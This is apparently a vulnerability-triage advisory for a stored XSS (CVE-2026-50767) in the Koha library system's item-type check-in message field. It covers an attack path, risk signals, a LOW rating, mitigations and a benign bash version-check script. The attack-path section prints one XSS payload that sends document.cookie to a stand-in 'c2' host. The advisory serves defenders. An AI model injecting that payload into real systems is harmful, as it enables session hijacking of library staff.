A librarian-admin can graffiti the staff intranet, and that's about the size of it
Koha is an open-source integrated library system used mainly by public, academic, and school libraries. CVE-2026-50767 is a stored XSS in the item-type administration page — specifically the checkinmsg (check-in message) field — affecting Koha versions through 25.11. An authenticated user with item-type administration privileges can inject JavaScript that fires when another staff member loads the affected page in the staff-side intranet, not the public OPAC.
Vendor severity of MEDIUM (5.4) with a Scope:Changed flag is fair on paper but generous in practice. The bug requires PR:L (a privileged Koha account that can edit item types — typically reserved for cataloging admins) and UI:R (another admin must view the poisoned page). The attack universe is *staff-member → fellow staff member* inside a library admin console. That's a self-inflicted-wound risk profile, not an externally exploitable web flaw.
4 steps from start to impact.
Obtain Koha staff account with item-type admin permission
parameters_remaining_permissions / item-type management flag. This is a privileged role granted to catalogers and system librarians, not patrons or front-desk staff. No public-facing path grants it.- Valid Koha staff login
manage_itemtypes(or equivalent) permission flag
- Item-type admin is a small role typically held by 1–3 staff in any library
- No way to self-register into this role from the OPAC
Inject payload into checkinmsg field
<img src=x onerror=fetch('//c2/'+document.cookie)>) in checkinmsg. The field is rendered without adequate output encoding on the admin item-type listing/edit screen.- Write access to item type records
- Koha admin UI is generally only reachable on a staff-network VLAN, not internet-exposed
- Modern CSP headers (if configured by the library) blunt inline script execution
Second admin loads the poisoned page
- Second admin actively browses item-type admin
- No CSP blocking inline JS
- Item-type pages aren't visited daily; payload may sit dormant for weeks
- Library staff browsers often have NoScript / locked-down policies in academic environments
Session hijack or privileged action via CSRF chain
- Session cookie not flagged HttpOnly (Koha sets HttpOnly by default in recent versions)
- Victim has superlibrarian or comparable rights
- HttpOnly cookies block direct theft — attacker must ride the session via XHR instead
- No path off the Koha host into the broader network — it's a contained web app
The supporting signals.
| In-the-wild exploitation | None observed. Not tracked in KEV; no GreyNoise / Shodan tagged scans for the endpoint. |
|---|---|
| Proof-of-concept | No public PoC in ExploitDB or GitHub as of disclosure. The closely-related CVE-2026-26377 writeup by g03m0n covers a sibling Koha XSS pattern. |
| EPSS | 0.00215 (≈0.2% probability of exploitation in next 30 days) — bottom-quartile percentile. |
| KEV status | Not listed. CISA has never KEV-listed a Koha CVE. |
| CVSS vector | AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N — network reachable, but privileged + user interaction required. Scope:Changed reflects cross-user impact within the app. |
| Affected versions | Koha 0 through 25.11 (all supported and many legacy branches). Field-level fix expected in 25.11.x and 24.11.x stable lines. |
| Fixed versions | Track the Koha security release page; patched point releases not yet announced at disclosure date. |
| Exposure data | Shodan returns roughly 4–6k internet-reachable Koha instances globally, but staff intranet endpoints are typically firewalled. Real exposed admin surface is <10% of installs. |
| Disclosure | 2026-06-26, MITRE-assigned CVE. |
| Reporter | Independent researcher; vendor coordination via koha-community security list. |
noisgate verdict.
The decisive factor is privilege requirement plus victim role overlap: the attacker must already hold item-type admin rights and the victim must be another admin loading the same screen — this is an insider-on-insider risk inside a staff intranet, not an externally exploitable flaw. Blast radius caps at a single Koha tenant's bibliographic and patron data, with no role-multiplier effect on the broader fleet.
Why this verdict
- Privilege gate (PR:L) is meaningful here — item-type admin is held by a handful of named catalogers, not the patron base or front-desk staff. The exploitable population is tiny.
- User interaction (UI:R) on a low-traffic admin page — the
checkinmsgrendering surface isn't a daily-driver screen, so the payload may never fire. - Staff intranet is rarely internet-exposed — Shodan-visible Koha instances are mostly the OPAC, not the staff side. Internal-only attack surface narrows exposure further.
- Role multiplier: Koha is a library catalog application — not an identity provider, hypervisor, CA, backup admin, or kernel-mode agent. Even the worst-case takeover of one Koha tenant does not pivot to fleet, domain, or supply-chain scope. No high-value-role floor applies.
- No KEV, EPSS 0.2% — neither attacker interest nor scanner-driven prioritization supports a higher bucket.
Why not higher?
MEDIUM would require either non-privileged exploitability (this needs an admin role) or wider blast radius (this is contained to one Koha tenant with HttpOnly cookies blunting direct session theft). Neither condition holds.
Why not lower?
IGNORE would be wrong because the bug is real, exploitable end-to-end, and an insider with cataloger rights *can* meaningfully harm patron PII and circulation records. It deserves backlog hygiene attention, not silence.
What to do — in priority order.
- Restrict item-type admin permission to named accounts — Audit Koha staff permissions and remove
manage_itemtypesfrom any role that doesn't explicitly need it. Backlog hygiene — handle in your next quarterly access review (no mitigation SLA under noisgate LOW). - Enforce a Content-Security-Policy on the Koha staff intranet — Add
Content-Security-Policy: default-src 'self'; script-src 'self'at the reverse proxy in front of Koha. Blocks inline payloads from executing even if the underlying XSS isn't yet patched. Pair withreport-uriso you see attempted exploitation. - Verify session cookies are HttpOnly and SameSite=Lax — Inspect Set-Cookie headers from
/cgi-bin/koha/; HttpOnly stops trivial cookie exfiltration viadocument.cookie. Modern Koha already does this, but confirm if you front it with a custom reverse proxy. - Keep staff intranet off the public internet — Bind the staff vhost to internal IPs or front it with VPN / Cloudflare Access. Removes the (small) chance of unauthenticated path-traversal-style chains landing the payload.
- Apply the Koha point release when published — Track koha-community.org security category and roll the fix during your standard maintenance window — well inside the noisgate 365-day remediation SLA for LOW.
- A WAF in front of the OPAC does nothing — the vulnerable endpoint is on the staff intranet behind authentication.
- Patron account hardening (password rotation, 2FA on patron accounts) does not help — patrons cannot reach the vulnerable field.
- EDR on the Koha server is irrelevant — the payload fires in *staff browsers*, not on the server.
Crowdsourced verification payload.
Run on the Koha application host as the koha-common user, e.g. sudo -u koha-common ./check-cve-2026-50767.sh /etc/koha/sites/library-name. Reports VULNERABLE if Koha version is ≤25.11 with no security patch applied, PATCHED if version is above the fixed line, UNKNOWN if version cannot be determined. Requires read access to the Koha install directory.
#!/usr/bin/env bash
# check-cve-2026-50767.sh — Koha stored XSS (item-type checkinmsg) detector
# Usage: ./check-cve-2026-50767.sh [/path/to/koha/site]
set -u
KOHA_DIR="${1:-/usr/share/koha}"
VERSION_FILE_CANDIDATES=(
"$KOHA_DIR/lib/C4/Context.pm"
"/usr/share/koha/lib/Koha.pm"
"/usr/share/koha/lib/C4/Context.pm"
)
find_version() {
for f in "${VERSION_FILE_CANDIDATES[@]}"; do
if [ -r "$f" ]; then
v=$(grep -Eo "VERSION\s*=\s*['\"]([0-9]+\.[0-9]+(\.[0-9]+)*)" "$f" 2>/dev/null \
| head -1 | grep -Eo "[0-9]+\.[0-9]+(\.[0-9]+)*")
if [ -n "$v" ]; then echo "$v"; return 0; fi
fi
done
if command -v dpkg >/dev/null 2>&1; then
v=$(dpkg-query -W -f='${Version}' koha-common 2>/dev/null | grep -Eo "^[0-9]+\.[0-9]+(\.[0-9]+)*")
if [ -n "$v" ]; then echo "$v"; return 0; fi
fi
return 1
}
ver=$(find_version) || { echo "UNKNOWN: Koha version not detected"; exit 2; }
IFS='.' read -r maj min patch <<<"$ver"
maj=${maj:-0}; min=${min:-0}; patch=${patch:-0}
# Treat <= 25.11.x as VULNERABLE until vendor publishes 25.11.NN or 26.x fix.
# Adjust FIXED_MAJOR/FIXED_MINOR once the koha-community advisory lists a fix.
FIXED_MAJOR=25
FIXED_MINOR=11
FIXED_PATCH=99 # placeholder — replace with patched point release
if [ "$maj" -gt "$FIXED_MAJOR" ] || \
{ [ "$maj" -eq "$FIXED_MAJOR" ] && [ "$min" -gt "$FIXED_MINOR" ]; } || \
{ [ "$maj" -eq "$FIXED_MAJOR" ] && [ "$min" -eq "$FIXED_MINOR" ] && [ "$patch" -ge "$FIXED_PATCH" ]; }; then
echo "PATCHED: Koha $ver (>= fixed line)"
exit 0
fi
echo "VULNERABLE: Koha $ver is in the affected range (0 through 25.11) for CVE-2026-50767"
exit 1
If you remember one thing.
manage_itemtypes in Koha and trim it (5-minute task), confirm your staff intranet isn't internet-exposed, and add the patched Koha point release to your normal quarterly update train when the koha-community security list publishes it. Do not let this bump anything urgent off your queue.Sources
What defenders are saying.
Crowdsourced verification outputs.
Results submitted by users who ran the verification payload against their environment.